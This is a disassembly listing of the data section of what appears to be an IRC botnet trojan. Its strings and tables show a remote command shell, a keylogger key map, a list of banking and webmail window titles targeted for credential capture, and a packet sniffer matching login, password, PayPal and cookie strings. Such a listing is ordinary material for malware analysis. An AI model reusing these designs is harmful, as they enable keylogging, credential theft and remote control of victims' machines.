%d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_1 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; sub_41036B+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_41036B+2E9o ; sub_41036B+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo aAm db 'AM',0 ; DATA XREF: sub_41036B+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_41036B+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+171o aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_410BFD+BBo aClientConnecti db '- client connection from %s:%d.',0 unk_435190 db 2Dh ; - ; DATA XREF: sub_410DAB+15Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0 unk_4351CC db 2Dh ; - ; DATA XREF: sub_410DAB+E9o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_435214 db 2Dh ; - ; DATA XREF: sub_410F3C+1AAo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0 unk_435254 db 2Dh ; - ; DATA XREF: sub_410F3C+E1o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_435298 db 2Dh ; - ; DATA XREF: sub_4111C0+1E9o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4352C4 db 2Dh ; - ; DATA XREF: sub_4111C0+1C2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_4352F0 db 2Dh ; - ; DATA XREF: sub_4111C0+1A2o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o align 4 unk_43532C db 2Dh ; - ; DATA XREF: sub_4111C0+E1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 unk_435384 db 2Dh ; - ; DATA XREF: sub_41141F+1Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aLoginRejectedR db '- Login rejected, Remote user: <%s@%s>.',0 align 4 unk_4353BC db 2Dh ; - ; DATA XREF: sub_41144E+219o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorServerFai db '- Error: server failed, returned: <%d>.',0 align 4 unk_4353F4 db 2Dh ; - ; DATA XREF: sub_41144E+1FBo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0 align 10h unk_435430 db 2Dh ; - ; DATA XREF: sub_41144E+177o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0 unk_435474 db 2Dh ; - ; DATA XREF: sub_41144E+106o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aReadyAndWaitin db '- Ready and waiting for incoming connections.',0 align 10h unk_4354B0 db 2Dh ; - ; DATA XREF: sub_41144E+70o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToInstal db '- Failed to install control-C handler, error: <%d>.',0 align 4 unk_4354F4 db 2Dh ; - ; DATA XREF: sub_41144E+3Do db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o ; sub_4116D6+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co align 4 unk_435684 db 2Dh ; - ; DATA XREF: sub_4119F9+A1o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0 dword_4356C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+1B2o aFailedToSta_38 db '- Failed to start server on Port %d.',0 align 4 dword_4356F4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+18Fo aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0 align 10h dword_435730 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+114o aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_435774 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0 align 4 dword_4357B8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0 align 4 dword_4357F8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0 align 4 dword_435838 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: sub_4125FC+13o dd 6E676953h, 6E4920h, 1Eh dup(0) aHotmail db 'Hotmail',0 dd 1Eh dup(0) aWindowsLiveMes db 'Windows Live Messenger',0 align 10h dd 1Ah dup(0) aPaypal_1 db 'PayPal',0 align 10h dd 1Eh dup(0) aStormpay db 'StormPay',0 align 4 dd 1Dh dup(0) aStormpay_comAc db 'StormPay.com, Accept Online Payments',0 align 10h dd 16h dup(0) aWorldpay db 'WorldPay',0 align 4 dd 1Dh dup(0) dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0) dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0) aTerraFotolog db 'Terra - Fotolog',0 dd 1Ch dup(0) dd 6F686159h, 216Fh, 1Eh dup(0) dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0) aBienvenidoAGma db 'Bienvenido a Gmail',0 align 4 dd 1Bh dup(0) aWelcomeToGmail db 'Welcome to Gmail',0 align 4 dd 1Bh dup(0) aDomainNameRegi db 'Domain Name Registration',0 align 4 dd 19h dup(0) dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0) aMyAccountLogin db 'My Account Login',0 align 4 dd 1Bh dup(0) aMercadolivreBr db 'MercadoLivre Brasil',0 dd 1Bh dup(0) aWellsFargoHome db 'Wells Fargo Home Page',0 align 10h dd 1Ah dup(0) aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0 dd 19h dup(0) aEbay db 'eBay',0 align 10h dd 1Eh dup(0) aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport' db 'ing goods & more at low prices',0 dd 8 dup(0) db 49h ; I db 6Eh, 69h, 63h db 69h ; i db 61h, 72h, 20h db 73h ; s db 65h, 73h, 69h db 0F3h ; ó aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor' db 'ting goods & more at low prices',0 align 4 dd 4 dup(0) dword_436448 dd 8 ; DATA XREF: sub_4125FC+65o dword_43644C dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 41000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_436B7C dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_436BB4 dd 28207325h, 297325h ; DATA XREF: sub_4125FC+31o ; sub_41AF8F+EBo a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo align 4 a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o align 4 a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o align 4 a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo align 4 a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o ; sub_4126A7+145o ... align 4 off_436C48 dd offset dword_4374C0 ; DATA XREF: sub_412B61+2B9r dd offset off_4374BC dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" dword_436C58 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_412B61+1DEo dword_436C6C dd 0 ; DATA XREF: sub_412B61+2B2r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00436C54o align 4 aFtp db 'FTP',0 ; DATA XREF: .packed:00436C50o off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: .packed:00436C4Co dword_4374C0 dd 544F42h ; DATA XREF: .packed:off_436C48o dword_4374C4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+317o aRecvFailedRetu db '- recv() failed, returned %d',0 align 10h dword_4374F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+2C6o aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 dword_437524 dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_412B61+24Co dword_437534 dd 4E53505Bh, 5D464649h, 0 ; DATA XREF: sub_412B61+235o dword_437540 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+186o aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h dword_437570 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+103o aBindFailedRetu db '- bind() failed, returned %d',0 align 4 dword_43759C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+85o aSocketFailedRe db '- socket() failed, returned %d',0 align 4 aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo align 10h aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o align 4 a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo align 10h aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do align 4 aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo align 10h aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o 